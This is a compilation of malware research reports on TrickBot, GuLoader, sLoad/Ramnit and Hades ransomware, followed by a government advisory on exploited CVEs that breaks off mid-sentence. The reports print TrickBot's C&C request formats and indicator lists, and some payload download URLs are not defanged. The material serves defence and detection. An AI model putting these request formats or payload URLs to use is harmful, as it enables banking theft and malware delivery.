# Deep Analysis of the Online Banking Botnet TrickBot **By Xiaopeng Zhang | December 06, 2016** One month ago we captured a Word document infected with malicious VBA code, which was detected as WM/Agent!tr by the Fortinet AntiVirus service. Its file name is InternalFax.doc, and its MD5 is 4F2139E3961202B1DFEAE288AED5CB8F. By our analysis, the Word document was used to download and spread the botnet TrickBot. TrickBot aims at stealing online banking information from browsers when victims are visiting online banks. The targeted banks are from Australia, New Zealand, Germany, United Kingdom, Canada, United States, Israel, and Ireland, to name a few. ## How TrickBot is downloaded to the victim’s system When a victim opens the malicious Word document, a warning message is shown in the foreground. However, in the background, its VBA code is downloading the TrickBot sample from hxxp://fax-download.com/lindoc1.exe or hxxp://futuras.com/dodocdoddus.exe. The downloaded TrickBot sample can be detected as W32/Generik.LWVNLMZ!tr by Fortinet AntiVirus service. ## TrickBot is installed on victim’s system The original TrickBot is a program developed with Visual Basic 6.0. To increase the difficulty of debugging and analyzing it, the malware developer used a large number of self-defense techniques, including code self-modification, code dynamic-extraction, and code/data encryption. When TrickBot is launched it dynamically extracts code from itself, puts it into a heap space, then calls its entry point. The main purpose is to call the Windows API CreateProcessW to run as a child process with the creation flag “CREATE_SUSPENDED.” This means that when the new process is created successfully, it’s in suspended status. So the malware could get a chance to modify the child process’ code as expected, then send the child process a signal by calling an API to let it resume and run the modified code. As mentioned above, it’ll call ZwUnmapViewOfSection, ZwAllocateVirtualMemory, ZwWriteVirtualMemory, ZwGetContextThread, ZwSetContextThread, and ZwResumeThread APIs to modify the child process’ code. It then modifies the thread context and finally resumes its execution. After that, the parent process finishes its job and is going to exit soon. From now on, the code in the child process will take over and continue TrickBot’s job. ## How the child process works The child process is a loader, which loads a named resource from itself into heap space. The content of the resource is encrypted, but after decryption, it appears as an executable code block. Soon the child process will call the executable’s entry point. The named resource is “IDR_X86BOT” or “IDR_X64BOT,” depending on whether the victim’s system is 32-bit or 64-bit. In our analysis, according to the system type, the named resource is “IDR_X86BOT.” This also affects what executable files are downloaded from the C&C server later. The code in heap contains the main job of the child process. At first, it creates a named mutex object by calling the function CreateMutex. This is used to check if another lindoc1.exe is running. If yes, it stops doing other things and exits the process. In this way, it can ensure that only one lindoc1.exe can be run at one time. Next, TrickBot tries to add itself as a task named “Bot” to the Task Scheduler, so that TrickBot can be executed in a timely manner. The task named “Bot” is able to start “lindoc1.exe” with “SYSTEM” account permission. The original “lindoc1.exe” has been moved to “C:\Windows\system32\config\systmprofile\AppData\Roaming\lindoc1.exe” because this folder is just like “%AppData%” for local “SYSTEM” account. TrickBot creates a security identity (SID) to check if the user running this process is “SYSTEM.” If not, then it will soon exit the process. The current account is owned by the user who signed into Windows, and not “SYSTEM.” Only when TrickBot is executed by the Task Scheduler, the account is “SYSTEM.” So the child process exits itself without doing any further things. When TrickBot is executed by the Task Scheduler with “SYSTEM” account permission, it can pass the SID check. It then tries to get the victim’s public IP address by sending HTTP requests. The public IP address will be used for communication with the C&C server later. It should be noted that most of the data, meaning files generated by TrickBot, are encrypted. TrickBot continually loads encrypted resource data with the name “CONFIG.” After decryption, it contains some information about TrickBot, including its version, group tag, and the IP addresses of its C&C servers. All this information is used to communicate with its C&C servers. If there is already a “config.conf” file, it reads the file and decrypts it to get the “CONFIG” data instead. After the IP addresses of C&C servers are received, TrickBot will connect them. ## Example of a command I’m going to take one request as an example to show you what the command looks like: ``` GET /lindoc1/AAA-PC_W617600.CA836C89ADF141D19A16BFA7397AD021/5/spk/ ``` - “lindoc1” is the group tag. - “AAA-PC_W617600.CA836C89ADF141D19A16BFA7397AD021” is the client id that is generated by the current user name, Windows version, and 32 random hexadecimals. - “5” is the command id. According to my analysis, command 5 is used to request downloading something from the C&C server, so the server will reply with data to this command. - “spk” is additional information for command 5. ## Commands and responses Here are some main commands in chronological order: **[Command 0 request]:** ``` GET /lindoc1/Client_ID/0/Windows7x86/1012/PUBLIC IP/BC1A53480DD53727D4E197BC8DF20B0E8D113AA14C ``` This provides the C&C server with the Windows version and the public IP address of the victim’s machine. The server then replies with an expiration time and new IP address, which are used to download DLLs later. **[Response]:** “1480550400” is a date/time value. After conversion, it’s “16:00 11/30 2016.” It tells us the C&C server’s expiration date and time. The IP address and port “37.1.213.189:447” points to a specific C&C server that holds the DLL files. **[Command 23 request]:** ``` GET /lindoc1/Client_ID/23/1000004/ ``` This sends the TrickBot version to the C&C server to fetch the latest “CONFIG” of the C&C server. When TrickBot runs into any errors in connecting to the C&C server, it’ll send such request. The latest version for now is 1000008. It’s going to replace the previous “CONFIG” data as well. The original response data is saved in (or replaced, if it existed) “config.conf,” which is checked first when it’s executed next time. **[Command 5/systeminfo]:** ``` GET /lindoc1/Client_ID/5/systeminfo32/ ``` When the victim’s system type is 32 bit, it sends command 5 to download “systeminfo32,” a 32-bit DLL that is used to steal the victim’s system information. “systeminfo64” is for 64-bit systems. The request is sent to a C&C server, whose IP address and port are obtained from Command 0’s response. The encrypted systeminfo32 is saved as “.\Modules\systeminfo32.” Later, it is executed in a newly-created process, “svchost.exe,” which focuses on collecting the victim’s system information, including its Windows version, CPU type, RAM capacity, user accounts, installed software, and services. Later, the data is sent to a C&C server as the body part of command 63 POST request. **[Command 5/injectDll]:** ``` GET /lindoc1/Client_ID/5/injectDll32/ ``` This is a command 5 “Get” request to download injectDll32 file from the C&C server whose IP address comes from Command 0’s response. The encrypted injectDll32 is saved as “.\Modules\injectDll32.” This is a very important DLL, which finally is able to inject malicious code into web browsers (IE, Chrome, and Firefox) or to monitor the victim’s online banking. **[Command 5/sinj]:** ``` GET /lindoc1/Client_ID/5/sinj/ ``` This is a configuration file for “injectDll.” It contains many online banks. The encrypted response data is saved in “.\Modules\injectDll32_configs\sinj.” **[Command 5/dinj]:** ``` GET /lindoc1/Client_ID/5/dinj/ ``` This command will download “dinj” file. It’s another configuration file for “injectDll” that also contains online bank information. It’ll be saved in “.\Modules\injectDll32_configs\dinj.” **[Command 5/dpost]:** ``` GET /lindoc1/Client_ID/5/dpost/ ``` This command downloads a dpost file from the C&C server, which contains another IP address and port that will work together with dinj. When the banks in the dinj file are matched, some stolen bank information will be sent to this IP address. It’s also saved as “.\Modules\injectDll32_configs\dpost.” **[Command 25]:** ``` GET /lindoc1/Client_ID/25/zm9ew0pP4BD8HxR5zzem/ ``` Command 25 is used to get a new link to a bin file. The bin file is going to be the new version of TrickBot. Before exiting this child process, the downloaded bin file will replace the old TrickBot and gets executed by calling the CreateProcessW function. ## How injectDll steals online banking information TrickBot keeps updating its config files from time to time. In the latest version of sinj and dinj files, it tries to steal online bank information from dozens of banks. When injectDll32 is executed by svchost.exe, it enumerates all running processes to check if it’s a browser by comparing process names. It only focuses on “Chrome,” “IE,” and “Firefox” browsers. After it picks one process, it uses the process ID to make a combination with a constant string as the name of the pipe. This named pipe is then used to communicate between svchost.exe and the browser to transfer the content of sinj, dinj, and dport. Then injectDll prepares the code that will be injected into the browser and calls CreateRemoteThread to execute the injected code. On the browser side, it creates several thread functions. One is to communicate with injectDll32 by named pipe, and others are to set Hook functions on some HTTP-related API functions and the keyboard. It also creates several registry entries, so that IE can be hooked and monitored better. In thread function1, it sends commands to the svchost.exe by that named pipe, to transfer bank information (i.e., the content of sinj, dinj, and dpost) to the browser. Later in thread function2, it is going to set some hooks on WinINet and Nss3 APIs. In this way, the injected code can capture all HTTP requests from the browsers. Then the local hook functions are able to do further filtering on the HTTP requests with the bank information. If the HTTP request matches the listed banks, this HTTP request will be copied and sent to the C&C server. ## Conclusion Through this analysis, we know how TrickBot installs itself on the victim’s machine, how it communicates with the C&C server, what and how it steals online banking information from the victim’s browser, and how it upgrades itself from time to time. Fortinet has published an IPS signature, “Trick.Botnet” to detect the communication between TrickBot and its C&C servers.
# Cloud-Based Malware Delivery: The Evolution of GuLoader **Research by:** Alexey Bukhteyev, Arie Olshtein **Date:** May 22, 2023 ## Key Takeaways - GuLoader is a prominent shellcode-based downloader used in numerous attacks to deliver a wide range of malware. - Active for over three years, GuLoader continues to evolve, integrating new anti-analysis techniques that make it challenging to analyze. New samples often receive zero detections on VirusTotal. - The payload is fully encrypted, including PE headers, allowing threat actors to store payloads on public cloud services, bypass antivirus protections, and keep them available for download for extended periods. - Earlier versions were implemented as VB6 applications with encrypted shellcode; current versions are primarily based on VBScript and NSIS installer, with the VBScript variant storing shellcode on a remote server. ## Introduction Antivirus products are evolving to handle complex threats, prompting malware developers to create new threats that can bypass these defenses. "Packing" and "crypting" services are designed to resist analysis, with GuLoader being a prominent tool for evading antivirus detection. In addition to code encryption, GuLoader employs various techniques, including anti-debugging and sandbox evasion. A key feature is that the encrypted payload is uploaded to a remote server, allowing attackers to use a highly protected shellcode-based loader that downloads, decrypts, and executes the payload in memory without writing decrypted data to the hard drive. Despite efforts to block GuLoader's encrypted payloads, it still frequently downloads from Google Drive. ## Malware Distribution GuLoader is currently used to distribute the following malware: - Formbook - XLoader - Remcos - 404Keylogger - Lokibot - AgentTesla - NanoCore - NetWire Early samples of GuLoader avoided detection, but security solutions have improved. However, GuLoader developers continue to enhance their product, making analysis of new versions increasingly challenging. ## Technical Details Earlier versions of GuLoader were implemented as VB6 applications with encrypted shellcode responsible for loading, decrypting, and executing the payload. Current common versions are based on VBScript and NSIS installer. ### VBScript Variant In earlier versions, the shellcode was stored within the VBScript. The new version hosts the encrypted shellcode on a cloud service, with the VBScript containing a small obfuscated PowerShell script and junk code, maintaining a low detection rate. An example infection chain using the VBS variant of GuLoader shows that a sample uploaded to VirusTotal had zero detections initially, with only 17 out of 59 vendors flagging it as malicious two days later. ### NSIS-Installer Based Variant Unlike the VBS variant, NSIS samples contain the GuLoader shellcode in encrypted form, allowing for static analysis. These samples consistently receive detections by antivirus products upon upload to VirusTotal. ## GuLoader Shellcode The same shellcode version is used in both NSIS and VBS variants, implementing numerous anti-analysis techniques, including: - Scanning memory for VM-related strings. - Checking for hypervisor presence using CPUID. - Measuring time with RDTSC and CPUID. - Searching for QEMU-related files. - Counting Windows using the EnumWindows API. - Checking for VM-related drivers with EnumDeviceDrivers API. - Enumerating installed software with MsiEnumProductsA and MsiGetProductInfoA. ### New Anti-Analysis Technique Since late 2022, GuLoader has employed a new technique that disrupts normal code execution by throwing numerous exceptions, handled by a vector exception handler that transfers control to a dynamically calculated address. This includes: - Accessing invalid memory to cause access violations. - Setting the Trap Flag to raise single-step exceptions. - Using `int3` to raise breakpoint exceptions. ## Exception Handler GuLoader registers a vector exception handler (VEH) to calculate new jump addresses upon exceptions. The VEH code is obfuscated, but after decompilation, it reveals a straightforward process for handling exceptions and redirecting execution. ## URL and Payload Decryption All strings, including URLs for downloading payloads, are encrypted and stored in a specific format. The decryption key is a regular sequence of bytes following the decryption function, typically not exceeding 64 bytes. The payload decryption key is also stored similarly but is not encrypted, with lengths usually between 800-900 bytes. ## Conclusion Years after its introduction, GuLoader remains a significant threat due to continuous improvements by its developers. Its advanced evasion techniques make it a favored tool among threat actors for delivering malware. The use of encryption and cloud storage for payloads allows it to bypass antivirus protections effectively. ## Appendix: Indicators of Compromise | Description | MD5 | ITW URL | |-------------|-----|---------| | GuLoader VBScript | 9623c946671c6ec7a30b7c45125d5d48 | | | GuLoader shellcode (base64) | 141da1d174041a32cc6a234d80d0b850 | https://drive.google.com/uc?export=download&id=1BZ2BJVzqOMDwarpjiTzKEiwa42W1Dj9q | | Encrypted Remcos payload | bcea24378a2134429ca82164827f1c25 | https://drive.google.com/uc?export=download&id=1soTWv6y3rkBBbmMcBMOwovCqXxU4UQRB | | Decrypted Remcos payload | d5335a1ec161a8430e564bc66c16f894 | https://drive.google.com/uc?export=download&id=1soTWv6y3rkBBbmMcBMOwovCqXxU4UQRB | | GuLoader NSIS | 40b9ca22013d02303d49d8f922ac2739 | | | GuLoader encrypted shellcode (NSIS) | c6e068ce04fb4959e2e6daaebac8d893 | | | Decrypted Formbook payload | 66274853e6f35e3fef0645a6587cb892 | http://34.138.169.8/wp-content/themes/seotheme/CbwPtnKqeAYGeixiNB73.inf | Check Point Threat Emulation provides protection against this threat: Dropper.Win.CloudEyE.*
# sLoad and Ramnit Pairing in Sustained Campaigns Against UK and Italy **Overview** Since May 2018, Proofpoint researchers have observed email campaigns using a new downloader called sLoad. sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries. In this post we will: - Introduce sLoad - Describe sLoad campaigns by an actor with a long history of activity, including the personalization of email messages with the recipient's name and address - Cover geographic targeting of the UK, Italy, and Canada, particularly via geofencing, which is performed at multiple points in the infection chain. ## Delivery While initial versions of sLoad appeared in May 2018, we began tracking the campaigns from this actor (internally named TA554) since at least the beginning of 2017. Other researchers also noticed some of these campaigns. The following figure shows a snapshot of the actor’s recent activity, starting slightly before the introduction of sLoad. Historically, this actor has targeted Italy, Canada, and the United Kingdom, specifically sending malicious emails to recipients in these countries. The emails are crafted in the targeted country’s language and are often personalized to include recipients’ names and addresses in various parts of the email such as email body and subject. TA554 frequently uses package delivery or order notification lures; the emails contain URLs linking to zipped LNK files or zipped documents. The LNK file or document macros in turn download the next stage -- typically a PowerShell script which may download the final payload or another downloader such as sLoad. The actor frequently, but not always, uses one or more intermediate downloader, such as an unnamed PowerShell script, sLoad, Snatch, or Godzilla. We have observed final payloads including Ramnit, Gootkit, DarkVNC, Ursnif, and PsiXBot. Geofencing -- restricting access to content based on the user’s location, determined via the source IP address -- is performed at all steps of the infection chain. For example, we observed checks being performed at: 1. Download of the zipped-LNK 2. LNK downloading PowerShell 3. PowerShell downloading sLoad 4. sLoad communications with its command and control (C&C) 5. sLoad receiving a task/command (base64-encoded binary) Steps 2 and 5 are additionally “Headers-fenced”, meaning that the request must also match those of BITS (Background Intelligent Transfer Service). ## Malware Analysis **Overview** The main elements of the infection chain are detailed below: - The initial user click on the URL in email, resulting in the download of a zipped LNK (a Windows shortcut file) from invasivespecies[.]us - The LNK, which was run by the user, downloads the next stage (PowerShell) from hotline[.]com/otki2/kine - PowerShell downloads sLoad (from lookper[.]eu/userfiles/p2.txt) - PowerShell downloads a file containing sLoad C&C hosts (from lookper[.]eu/userfiles/h2.txt) - sLoad initial beacon - sLoad reporting infected system information and polling for commands - sLoad downloading Ramnit, after receiving a command to do so. Note that we have observed extended waits -- more than one day -- until sLoad receives a command to download the next stage - sLoad sending screenshots to the C&C Typically when we see LNK files used as the first-stage downloader, they tend to point to a PowerShell command that performs the download, all inside the link target field. With files like this, it is easy to extract and analyze the PowerShell command. For example, on Windows this can be performed manually by right-clicking on the shortcut file, selecting Properties, and analyzing the command in the “Target:” box. Less commonly, data can be appended to the end of a LNK file after the termination block (four NULL bytes) as Windows will stop reading data in the LNK after seeing a termination block. So it is possible to add [malicious] data to the end of the file which can be parsed externally using PowerShell / Certutil / external tools to execute code. We have observed this used to hide long series of commands. In our case, the additional commands are appended after the end of the LNK file. Hence, the link target field essentially contains a short “carving script” that finds and executes commands located after the end of the LNK file. The actual LNK is 1528 bytes long and additional 1486 bytes of PowerShell code is added at the end. **sLoad Downloader** The LNK downloads a small PowerShell script (unnamed) which itself contains a few notable features: - It performs a check to see if any security processes are running on the system and exits if found - Downloads sLoad and stores it encrypted with a hardcoded key as “config.ini” - Downloads sLoad C&C hosts file and stores it encrypted with a hardcoded key as “web.ini” - Uses a Scheduled Task to execute sLoad sLoad is also written in PowerShell. At the time of this writing, the latest version of sLoad was 5.07b, which we will analyze here. It includes noteworthy features such as: - Collection of information to report to the C&C server that includes: - A list of running processes - Presence of .ICA files on the system (likely Citrix-related) - Whether an Outlook folder is present on the system - Additional reconnaissance data - The ability to take screenshots - Checking the DNS cache for specific domains (e.g., targeted banks) - Loading external binaries sLoad’s network communication begins with an initial C&C beacon to path “/img.php?ch=1”, which is an empty request. It may receive an “sok” from the server. After the initial beacon, sLoad enters a loop in which it pushes extensive information about the victim’s system to the C&C, expects and executes commands from the server, and sends screenshots to the server. In this loop, it first performs a request to “captcha.php” and sends information about the infected system via the URL parameters. **sLoad Versions** Since May 2018 we have observed multiple versions of sLoad, which introduced incremental changes. - 0.01b - 2018-05-01 - 2.01b - 2018-05-09 - 2.11b - 2018-05-12 - 2.37b - 2018-06-06 - 3.47b - 2018-06-26 - 4.07b - 2018-08-23 - 5.07b - 2018-09-20 - 5.08b - 2018-10-03 **Conclusion** Proofpoint researchers identified yet another stealthy downloader, this time paired with personalized email lures and sophisticated geofencing. sLoad, like other downloaders we have profiled recently, fingerprints infected systems, allowing threat actors to better choose targets of interest for the payloads of their choice. In this case, that final payload is generally a banking Trojan via which the actors can not only steal additional data but perform man-in-the-browser attacks on infected individuals. Downloaders, though, like sLoad, Marap, and others, provide high degrees of flexibility to threat actors, whether avoiding vendor sandboxes, delivering ransomware to a system that appears mission critical, or delivering a banking Trojan to systems with the most likely return. **Indicators of Compromise (IOCs)** - hxxps://invasivespecies[.]us/htmlTicket-access/ticket-T559658356711702 - URL in email - 2018-10-17 - hxxps://davidharvill[.]org/htmlTicket-access/ticket-V081650502356 - URL in email - 2018-10-17 - hxxps://schwerdt[.]org/htmlTicket-access/ticket-823624156690858 - URL in email - 2018-10-17 - 5ea968cdefd2faabb3b4380a3ff7cb9ad21e03277bcd327d85eb87aaeecda282 - SHA256 ticket-T559658356711702.zip - 2018-10-17 - hxxps://hotkine[.]com/otki2/kine - URL - Zipped LNK gets PowerShell - 2018-10-17 - a446afb6df85ad7819b90026849a72de495f2beed1da7dcd55c09cd33669d416 - SHA256 kine - ps1 - 2018-10-17 - hxxps://lookper[.]eu/userfiles/p2.txt - URL - PowerShell gets sLoad - 2018-10-17 - hxxps://lookper[.]eu/userfiles/h2.txt - URL - PowerShell gets sLoad hosts file - 2018-10-17 - 79233b83115161065e51c6630634213644f97008c4da28673e7159d1b4f50dc2 - SHA256 p2.txt sLoad - GBR - 2018-10-17 - 245c12a6d3d43420883a688f7e68e7164b3dda16d6b7979b1794cafd58a34d6d - SHA256 h2.txt sLoad hosts - GBR - 2018-10-17 - hxxps://maleass[.]eu/images//img.php?ch=1 - URL - sLoad C&C - 2018-10-17 - hxxps://informanetwork[.]com/update/thrthh.txt - URL - sLoad payload (Ramnit) - 2018-10-17 - b1032db65464a1c5a18714ce3541fca3c82d0a47fb2e01c31d7d4c3d5ed60040 - SHA256 Ramnit - 2018-10-17 - xohrikvjhiu[.]eu|185.197.75.35 - DOMAIN|IP Ramnit C&C - 2018-10-17 **ET and ETPRO Suricata/Snort Signatures** - 2830633 || ETPRO TROJAN sLoad CnC Checkin M2 - 2830632 || ETPRO TROJAN sLoad CnC Checkin - 2018856 || ET TROJAN Windows executable base64 encoded
# WastedLocker Superseded by Hades Ransomware **Adam Podlosky - Brendon Feeley** **March 17, 2021** ## Introduction In December 2019, the U.S. Treasury Department’s Office of Foreign Assets Control (OFAC) took action against the Russia-based cybercriminal group INDRIK SPIDER, also known as Evil Corp, a sophisticated eCrime adversary notorious for conducting numerous schemes against a variety of targets beginning in 2014. This adversary is best known for their Dridex banking trojan, which was prolific from June 2014 through early 2020, and their Bitpaymer crypter used in big game hunting (BGH) attacks beginning in 2017. The OFAC action consisted of sanctions that prohibit the facilitation of significant payments to the organization, such as those involved in BGH ransom payments. In addition to OFAC’s action against INDRIK SPIDER, the U.S. Department of Justice (DOJ) charged two key members of the group — Maksim Yakubets and Igor Turashev — with criminal infringements, and the U.S. Department of State announced a reward of up to $5 million USD for any information leading to the capture or conviction of INDRIK SPIDER’s leader. Following the OFAC sanctions and the unsealing of the indictment, INDRIK SPIDER went through significant periods of downtime and continued to develop their MO, TTPs, and tradecraft in an attempt to evade the sanctions placed upon them — the latest evolution is Hades, which first reared its head after the OFAC action was announced. ## INDRIK SPIDER’s Reaction Subsequent to the announcement of the sanctions against the group, INDRIK SPIDER disappeared for a short while until reappearing in January 2020, when BitPaymer was once again observed being used in a BGH operation against a victim conglomerate spanning multiple verticals. This BitPaymer operation was one of the first identified examples of INDRIK SPIDER using a variant of Gozi ISFB as a part of their toolset instead of their Dridex banking trojan. Following a short hiatus from March to May 2020, INDRIK SPIDER significantly increased their efforts to move away from their existing tools and introduced WastedLocker — the successor to their BitPaymer ransomware. Approximately six months after the OFAC sanctions and the unsealing of the indictment against Yakubets and Turashev, WastedLocker was used in the first BGH campaign, marking a new era for INDRIK SPIDER, as they also began using a variant of Gozi ISFB in their operations. This further operational shift was highly likely an attempt to distance themselves from their infamous Dridex and BitPaymer tools. In June 2020, the trend of moving away from their typical infection chain continued, and INDRIK SPIDER began using fake browser updates to deliver the Cobalt Strike red-teaming tool. INDRIK SPIDER extensively used Cobalt Strike to establish an initial foothold and move laterally within the victim network. Once control over the enterprise environment was established, WastedLocker would subsequently be executed in their BGH campaigns. INDRIK SPIDER continued with their usual operational tempo, infecting organizations across more than a dozen sectors — predominantly in the U.S. — until late 2020. ## WastedLocker to Hades Evolution Based on significant code overlap, CrowdStrike Intelligence has identified Hades ransomware as INDRIK SPIDER’s successor to WastedLocker. Hades ransomware — first publicly identified by security researchers in December 2020 — was named for a Tor hidden website that victims are instructed to visit; however, Hades is merely a 64-bit compiled variant of WastedLocker with additional code obfuscation and minor feature changes. The WastedLocker-derived Hades ransomware is unrelated to a similarly named ransomware family, Hades Locker, identified by security firms in 2016. Hades ransomware shares the majority of its functionality with WastedLocker; the ISFB-inspired static configuration, multi-staged persistence/installation process, file/directory enumeration, and encryption functionality are largely unchanged. Hades did receive minor modifications, and the removed features included those that were uniquely characteristic of INDRIK SPIDER’s previous ransomware families — WastedLocker and BitPaymer. At the time of this publication, CrowdStrike has identified the following changes INDRIK SPIDER made to the WastedLocker-derived Hades ransomware variant: - Hades is now a 64-bit compiled executable with additional code obfuscation, likely to disguise the minimal changes, evade existing signature-based detections, and hinder reverse engineering efforts. - The majority of standard file and registry Windows API calls were replaced with their system call counterparts (i.e., the user-mode Native APIs exported from NTDLL). - Hades employs a different User Account Control (UAC) bypass than WastedLocker; however, both implementations are taken directly from the open-source UACME project. - Hades writes a single ransom note named `HOW-TO-DECRYPT-[extension].txt` to traversed directories, as opposed to WastedLocker’s and BitPaymer’s approach of creating a note for each encrypted file. - Hades ransomware now stores the key information in each encrypted file rather than the ransom note. Both WastedLocker and BitPaymer stored the encoded and encrypted key information in the file-specific ransom notes. - While Hades still copies itself to a generated subdirectory in `Application Data`, it no longer uses the `:bin` Alternate Data Stream (ADS). The use of the `:bin` ADS path was characteristic of both WastedLocker and BitPaymer. INDRIK SPIDER’s move to this ransomware variant also came with another shift in tactics: the departure from using email communication and the possibility of exfiltrating data from victims to elicit payments. The Hades ransom note directs victims to a Tor hidden site. The identified ransom notes do not identify the victim company, as was often observed with WastedLocker and BitPaymer. ## Conclusion Since the OFAC sanctions and DOJ indictments against the group and its members, INDRIK SPIDER’s continued diversification has demonstrated the group’s significant resources and operational resilience. INDRIK SPIDER’s ability to adapt and overcome adversity has been illustrated in their continual advances in their campaigns, implementation of new tools, and adoption of third-party products and services. The development of their tradecraft has almost certainly been prompted by the legal action taken against them. The continued development of WastedLocker ransomware is the latest attempt by the notorious adversary to distance themselves from known tooling to aid them in bypassing the sanctions imposed upon them. The sanctions and indictments have undoubtedly significantly impacted the group and have made it difficult for INDRIK SPIDER to successfully monetize their criminal endeavors. ## Indicators of Compromise **Description** | **SHA256 Hash** Hades ransomware, variant of WastedLocker | fe997a590a68d98f95ac0b6c994ba69c3b2ece9841277b7fecd9dfaa6f589a87
# 2021 Top Routinely Exploited Vulnerabilities ## SUMMARY This joint Cybersecurity Advisory (CSA) was coauthored by cybersecurity authorities of the United States, Australia, Canada, New Zealand, and the United Kingdom: the Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Federal Bureau of Investigation (FBI), Australian Cyber Security Centre (ACSC), Canadian Centre for Cyber Security (CCCS), New Zealand National Cyber Security Centre (NZ NCSC), and United Kingdom’s National Cyber Security Centre (NCSC-UK). This advisory provides details on the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited. U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities assess that in 2021, malicious cyber actors aggressively targeted newly disclosed critical software vulnerabilities against broad target sets, including public and private sector organizations worldwide. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities across a broad spectrum of targets. The cybersecurity authorities encourage organizations to apply the recommendations in the Mitigations section of this CSA. These mitigations include applying timely patches to systems and implementing a centralized patch management system to reduce the risk of compromise by malicious cyber actors. U.S. organizations: all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at [email protected] or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact [email protected]. Australian organizations: visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: report incidents by emailing CCCS at [email protected]. New Zealand organizations: report cybersecurity incidents to [email protected] or call 04 498 7654. United Kingdom organizations: report a significant cybersecurity incident at ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp. ## TECHNICAL DETAILS ### Key Findings Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability’s disclosure, likely facilitating exploitation by a broader range of malicious actors. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities—some of which were also routinely exploited in 2020 or earlier. The exploitation of older vulnerabilities demonstrates the continued risk to organizations that fail to patch software in a timely manner or are using software that is no longer supported by a vendor. ### Top 15 Routinely Exploited Vulnerabilities Table 1 shows the top 15 vulnerabilities U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities observed malicious actors routinely exploiting in 2021, which include: - **CVE-2021-44228**: This vulnerability, known as Log4Shell, affects Apache’s Log4j library, an open-source logging framework. An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows a cyber actor to take full control over the system. The actor can then steal information, launch ransomware, or conduct other malicious activity. Log4j is incorporated into thousands of products worldwide. This vulnerability was disclosed in December 2021; the rapid widespread exploitation of this vulnerability demonstrates the ability of malicious actors to quickly weaponize known vulnerabilities and target organizations before they patch. - **CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065**: These vulnerabilities, known as ProxyLogon, affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., “vulnerability chaining”) allows an unauthenticated cyber actor to execute arbitrary code on vulnerable Exchange Servers, which, in turn, enables the actor to gain persistent access to files and mailboxes on the servers, as well as to credentials stored on the servers. Successful exploitation may additionally enable the cyber actor to compromise trust and identity in a vulnerable network. - **CVE-2021-34523, CVE-2021-34473, CVE-2021-31207**: These vulnerabilities, known as ProxyShell, also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination enables a remote actor to execute arbitrary code. These vulnerabilities reside within the Microsoft Client Access Service (CAS), which typically runs on port 443 in Microsoft Internet Information Services (IIS) (e.g., Microsoft’s web server). CAS is commonly exposed to the internet to enable users to access their email via mobile devices and web browsers. - **CVE-2021-26084**: This vulnerability, affecting Atlassian Confluence Server and Data Center, could enable an unauthenticated actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a POC was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021. Three of the top 15 routinely exploited vulnerabilities were also routinely exploited in 2020: CVE-2020-1472, CVE-2018-13379, and CVE-2019-11510. Their continued exploitation indicates that many organizations fail to patch software in a timely manner and remain vulnerable to malicious cyber actors. ### Table 1: Top 15 Routinely Exploited Vulnerabilities in 2021 | CVE | Vulnerability Name | Vendor and Product | Type | |---------------------------|--------------------|-----------------------------------|-------------------------------| | CVE-2021-44228 | Log4Shell | Apache Log4j | Remote code execution (RCE) | | CVE-2021-40539 | | Zoho ManageEngine AD SelfService Plus | RCE | | CVE-2021-34523 | ProxyShell | Microsoft Exchange Server | Elevation of privilege | | CVE-2021-34473 | ProxyShell | Microsoft Exchange Server | RCE | | CVE-2021-31207 | ProxyShell | Microsoft Exchange Server | Security feature bypass | | CVE-2021-27065 | ProxyLogon | Microsoft Exchange Server | RCE | | CVE-2021-26858 | ProxyLogon | Microsoft Exchange Server | RCE | | CVE-2021-26857 | ProxyLogon | Microsoft Exchange Server | RCE | | CVE-2021-26855 | ProxyLogon | Microsoft Exchange Server | RCE | | CVE-2021-26084 | | Atlassian Confluence Server and Data Center | Arbitrary code execution | | CVE-2021-21972 | | VMware vSphere Client | RCE | | CVE-2020-1472 | ZeroLogon | Microsoft Netlogon Remote Protocol (MS-NRPC) | Elevation of privilege | | CVE-2020-0688 | | Microsoft Exchange Server | RCE | | CVE-2019-11510 | | Pulse Secure Pulse Connect Secure | Arbitrary file reading | | CVE-2018-13379 | | Fortinet FortiOS and FortiProxy | Path traversal | ### Additional Routinely Exploited Vulnerabilities In addition to the 15 vulnerabilities listed in table 1, U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities identified vulnerabilities, listed in table 2, that were also routinely exploited by malicious cyber actors in 2021. These vulnerabilities include multiple vulnerabilities affecting internet-facing 